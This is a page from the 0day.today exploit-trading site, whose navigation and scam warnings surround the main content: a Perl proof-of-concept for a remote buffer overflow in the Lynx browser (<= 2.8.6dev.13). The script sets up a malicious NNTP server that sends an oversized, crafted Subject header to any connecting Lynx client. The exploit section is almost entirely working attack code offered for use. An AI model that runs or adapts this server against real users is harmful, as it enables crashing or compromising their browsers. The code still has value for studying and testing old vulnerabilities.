0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Lynx <= 2.8.6dev.13 Remote Buffer Overflow Exploit (PoC)
======================================================== Lynx <= 2.8.6dev.13 Remote Buffer Overflow Exploit (PoC) ======================================================== #!/usr/bin/perl -- # lynx-nntp-server # by Ulf Harnhammar in 2005 # I hereby place this program in the public domain. use strict; use IO::Socket; $main::port = 119; $main::timeout = 5; # *** SUBROUTINES *** sub mysend($$) { my $file = shift; my $str = shift; print $file "$str\n"; print "SENT: $str\n"; } # sub mysend sub myreceive($) { my $file = shift; my $inp; eval { local $SIG{ALRM} = sub { die "alarm\n" }; alarm $main::timeout; $inp = <$file>; alarm 0; }; if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; } $inp =~ tr/\015\012\000//d; print "RECEIVED: $inp\n"; $inp; } # sub myreceive # *** MAIN PROGRAM *** { my $server = IO::Socket::INET->new( Proto => 'tcp', LocalPort => $main::port, Listen => SOMAXCONN, Reuse => 1); die "can't set up server!\n" unless $server; while (my $client = $server->accept()) { $client->autoflush(1); print 'connection from '.$client->peerhost."\n"; mysend($client, '200 Internet News'); my $group = 'alt.angst'; while (my $str = myreceive($client)) { if ($str =~ m/^mode reader$/i) { mysend($client, '200 Internet News'); next; } if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i) { $group = $1; mysend($client, "211 1 1 1 $group"); next; } if ($str =~ m/^quit$/i) { mysend($client, '205 Goodbye'); last; } if ($str =~ m/^head ([0-9]+)$/i) { my $evil = '$@UU(JUU' x 21; # Edit the number! $evil .= 'U' x (504 - length $evil); my $head = <<HERE; 221 $1 <xyzzy\@usenet.qx> Path: host!someotherhost!onemorehost From: <mr_talkative\@usenet.qx> Subject: $evil Newsgroup: $group Message-ID: <xyzzy\@usenet.qx> . HERE $head =~ s|\s+$||s; mysend($client, $head); next; } mysend($client, '500 Syntax Error'); } # while str=myreceive(client) close $client; print "closed\n\n\n"; } # while client=server->accept() } # 0day.today [2024-12-25] #